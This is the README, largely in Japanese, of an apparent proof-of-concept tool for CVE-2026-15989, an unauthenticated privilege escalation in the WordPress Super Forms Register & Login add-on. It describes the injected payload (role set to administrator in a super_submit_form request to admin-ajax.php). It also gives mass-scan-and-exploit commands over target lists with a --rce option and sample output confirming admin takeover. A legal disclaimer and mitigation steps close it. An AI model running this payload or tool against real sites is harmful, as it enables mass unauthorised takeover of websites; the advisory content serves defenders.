CVE-2026-15989 — Super Forms ≤ 6.3.316 — 未認証の権限昇格 PoC

Super Forms – Drag & Drop Form Builder (WordPress) ≤ 6.3.316 — プレミアムアドオン Register & Login の role パラメータを介した未認証の権限昇格。

📋 脆弱性の概要

🔍 技術的説明

このアドオンはフォーム設定から新規ユーザーのロールを設定し ($userdata['role'] = $settings['register_user_role'])、その後 $other_userdata をループ処理する — これには 'role' が含まれており — wp_insert_user() を呼び出す前に、クライアントから送信された値 ($data['role']['value']) で任意のキーを上書きする。

POST /wp-admin/admin-ajax.php  (unauthenticated)
        │
        ▼
action=super_submit_form + data={"role":{"value":"administrator"}, ...}
        │
        ▼
$other_userdata loop ─► $userdata['role'] = $data['role']['value']
        │
        ▼
wp_insert_user() ─► administrator account created
        │
        ▼
register_login_activation='login'/'auto' ─► wp_set_auth_cookie ─► admin session

修正 (6.3.317): ホワイトリストから 'role' を削除 + get_safe_public_registration_role() (フェイルクローズド)。

独自リサーチ — デュアル送信プロトコル: コアは v5.0.0 でプロトコルを変更した。

このツールは検出されたバージョンからプロトコルを自動的に選択する。

🚀 使用方法

# mass scan + exploit
python CVE-2026-15989.py --list targets.txt --threads 10 --force --only-hits --results hits.txt --user Floydroot --password 'Floyd@2026!root'
python CVE-2026-15989.py --list targets.txt --threads 15 --timeout 6 --force --quiet --results hits.txt --user U --password P --no-dedup

# single target
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --email EMAIL --insecure
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --login --rce --insecure

# re-check an existing account without re-registering
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --only-login --insecure

📊 出力

│  ├─ plugin   : 6.3.316 — VULNERABLE <= 6.3.316
│  ├─ addon    : v1.8.7
│  ├─ form     : 4169 (/register/)
│  ├─ proto    : 5.x/6.x (super_submit_form, JSON, sf_nonce)
│  ├─ payload  : HTTP 200 ✓ processed
│  └─ session  : cookie ✓ · admin confirmed — Floydroot/Floyd@2026!root
└─── ✔ ADMIN CONFIRMED

• hits.txt — 確認されたターゲットのみ (ts|url|status|detail、ユーザー/パスワード付き)
• ETA + ステータス別カウンタ付きバー; 各フェーズは失敗時に実際の理由を表示する (WAF、クラッシュ、ログイン専用フォーム、誤ったプロトコル...)

⚙️ 機能

• デュアルプロトコル (4.x ネストデータ / 5+ JSON+nonce) — バージョンにより自動選択
• バージョン検出: readme.txt の Stable タグ + common.js?ver=; アドオンプローブ + その独自バージョン
• 登録フォームの検出: 一般的なパス + sitemap.xml/wp-sitemap.xml/sitemap_index + ホームリンク
• 必須フィールドの自動入力 (hidden/条件付きを含む)
• 「既に存在する」→ 既存アカウントの直接ログイン証明
• クラッシュ制御: 注入したロールなしでフォームを再送信し、サーバー側の問題とインジェクション起因のクラッシュを区別する
• /wp-json/wp/v2/users/me?context=edit による権威ある管理者証明 (フォールバック: users.php / ダッシュボード)

📁 ファイル構成

├── CVE-2026-15989.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ 免責事項

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ 緩和策

1. Super Forms を 6.3.317 (以降) に更新し、漏洩した認証情報をローテーションする
2. Register & Login アドオンを最新の状態に保つ (独自のバージョンサイクルがある)
3. 不要な場合は公開された登録フォームを削除/無効化する
4. wp-admin/ のユーザーに予期しない管理者アカウントがないか監査する